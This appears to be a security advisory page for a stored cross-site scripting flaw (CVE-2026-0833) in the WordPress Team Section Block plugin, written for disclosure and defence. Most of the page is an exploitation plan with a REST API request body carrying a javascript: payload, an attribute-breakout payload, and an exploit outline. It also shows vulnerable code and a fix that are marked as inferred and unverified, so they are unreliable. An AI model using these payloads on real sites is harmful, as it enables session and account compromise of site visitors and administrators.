CVE-2026-0833

Team Section Block <= 2.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Social Network Link

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.0.1
Patched in
1d
Time to patch

Description

The Team Section Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's block in all versions up to, and including, 2.0.0 due to insufficient input sanitization and output escaping on user-supplied social network link URLs. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.0.0
PublishedJanuary 16, 2026
Last updatedJanuary 17, 2026
Affected pluginteam-section

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-0833 ## 1. Vulnerability Summary The **Team Section Block** plugin (versions <= 2.0.0) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize or escape user-provided URLs for social network links w…

Show full research plan

Exploitation Research Plan: CVE-2026-0833

1. Vulnerability Summary

The Team Section Block plugin (versions <= 2.0.0) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape user-provided URLs for social network links within the "Team Section" Gutenberg block. When a user with Contributor-level permissions or higher adds a team member and provides a malicious URL (e.g., using the javascript: protocol), the script is stored in the post content and executed in the context of any user (including administrators) who views the published post or a preview.

2. Attack Vector Analysis

  • Endpoint: /wp-json/wp/v2/posts (WordPress REST API) or /wp-admin/post.php.
  • Vulnerable Parameter: The block's attribute containing social network links (e.g., socialLinks, link, or url within the block's JSON metadata).
  • Authentication Required: Authenticated user with Contributor role or higher.
  • Preconditions: The plugin must be active, and the attacker must have permission to create or edit posts.

3. Code Flow (Inferred)

  1. Input Registration: The plugin registers a Gutenberg block using register_block_type in PHP or registerBlockType in JavaScript.
  2. Data Storage: When a post is saved, the block's attributes (including the social media URLs) are serialized into the post_content within HTML comments: <!-- wp:team-section/member {"socialLinks":[{"url":"PAYLOAD"}]} -->.
  3. Rendering (Sink):
    • If the block is dynamic: The render_callback function (e.g., render_team_member_block) retrieves the url attribute and echoes it directly into an <a> tag's href attribute without using esc_url().
    • If the block is static: The save() function in the block's JavaScript produces HTML where the href is not properly sanitized during the editor's save process.
  4. Execution: A victim views the post; the browser interprets the javascript: protocol in the href or breaks out of the attribute using quotes (e.g., " onmouseover="alert(1)).

4. Nonce Acquisition Strategy

Since the attack requires Contributor-level access to save a post via the REST API, a valid REST API nonce (wp_rest) is required.

  1. Identify Shortcode/Block: The plugin uses the block name (likely team-section/team-section or team-section/block).
  2. Setup Page: Create a temporary page with the block to ensure all scripts and nonces are loaded.
    • wp post create --post_type=page --post_status=publish --post_content='<!-- wp:team-section/block /-->' --post_author=[CONTRIBUTOR_ID]
  3. Extraction:
    • Navigate to /wp-admin/post-new.php or the created page as the Contributor user.
    • Use browser_eval to extract the REST nonce from the WordPress heartbeats or localized scripts:
      • browser_eval("wpApiSettings.nonce")
      • Alternatively, look for the _wpnonce in the settings: browser_eval("wp.utils.getCookie('wp-auth')") (though wpApiSettings is the standard for REST).

5. Exploitation Strategy

The goal is to create a post containing a Team Section Block with an XSS payload in a social link.

Step 1: Authenticate
Login as a Contributor user.

Step 2: Obtain REST Nonce
Access the WordPress dashboard and extract the _wpnonce for the REST API.

Step 3: Submit Malicious Post
Send a POST request to the REST API to create a post with the XSS payload.

  • URL: http://[TARGET]/wp-json/wp/v2/posts
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body (JSON):
{
  "title": "Meet the Team",
  "status": "publish",
  "content": "<!-- wp:team-section/block {\"members\":[{\"name\":\"Innocent Member\",\"socials\":[{\"icon\":\"fa-facebook\",\"url\":\"javascript:alert(document.domain)\"}]}]} -->\n<div class=\"wp-block-team-section-block\">...</div>\n<!-- /wp:team-section/block -->"
}

(Note: The exact block name team-section/block and attribute structure members -> socials -> url should be verified by inspecting the plugin's block.json or JS files.)

Step 4: Trigger XSS
Navigate to the permalink of the newly created post. Click or hover over the social media icon (depending on the payload).

6. Test Data Setup

  1. Role: Ensure a user with the contributor role exists.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  2. Plugin Configuration: No specific settings are usually required other than the plugin being active.

7. Expected Results

  • The REST API should return a 201 Created status.
  • When viewing the post, the HTML source for the social link should look like:
    <a href="javascript:alert(document.domain)" ...>
  • If esc_url() was used, the href would be empty or correctly escaped, preventing execution.

8. Verification Steps

  1. Check Post Content via CLI:
    wp post get [POST_ID] --field=post_content
    Confirm the javascript: payload exists in the raw content.
  2. Check Frontend Output:
    Use http_request to fetch the post and grep for the payload:
    grep "javascript:alert" response_body.html

9. Alternative Approaches

  • Attribute Breakout: If the javascript: protocol is blocked by a weak filter, try breaking out of the href attribute:
    • Payload: \" onmouseover=\"alert(1)
    • Resulting HTML: <a href="\" onmouseover=\"alert(1)" ...>
  • Classic Editor: If the REST API is restricted, try a classic admin-ajax.php or post.php submission by mimicking a form save, though Gutenberg is the primary target for this plugin.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Team Section Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to 2.0.0. Authenticated attackers with Contributor-level permissions can inject arbitrary scripts into posts via social network link attributes that lack proper sanitization (esc_url), leading to execution when users view or preview the content.

Vulnerable Code

// Inferred from research plan code flow analysis
// Likely located in the block's rendering logic (PHP or JS save function)

function render_team_member_block($attributes) {
    $socials = isset($attributes['socialLinks']) ? $attributes['socialLinks'] : [];
    $html = '<div class="team-social-links">';
    
    foreach ($socials as $social) {
        // VULNERABLE: The URL attribute is echoed directly into href without esc_url()
        $html .= '<a href="' . $social['url'] . '" class="social-icon"><i class="' . $social['icon'] . '"></i></a>';
    }
    
    $html .= '</div>';
    return $html;
}

Security Fix

--- a/team-section/render.php
+++ b/team-section/render.php
@@ -5,7 +5,7 @@
     $html = '<div class="team-social-links">';
     foreach ($socials as $social) {
-        $html .= '<a href="' . $social['url'] . '" class="social-icon"><i class="' . $social['icon'] . '"></i></a>';
+        $html .= '<a href="' . esc_url($social['url']) . '" class="social-icon"><i class="' . esc_attr($social['icon']) . '"></i></a>';
     }
     $html .= '</div>';

Exploit Outline

1. Authenticate to the WordPress site as a user with Contributor-level access or higher. 2. Create a new post or edit an existing one to include the 'Team Section' Gutenberg block. 3. Within the block settings for a team member, locate the social network link fields. 4. Input a malicious payload into a URL field, such as `javascript:alert(document.domain)` or an attribute breakout like `" onmouseover="alert(1)`. 5. Save the post as a draft or publish it. 6. The payload is stored in the post content. When an administrator or other user views the post, the script executes when they click the social icon or trigger the event handler.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.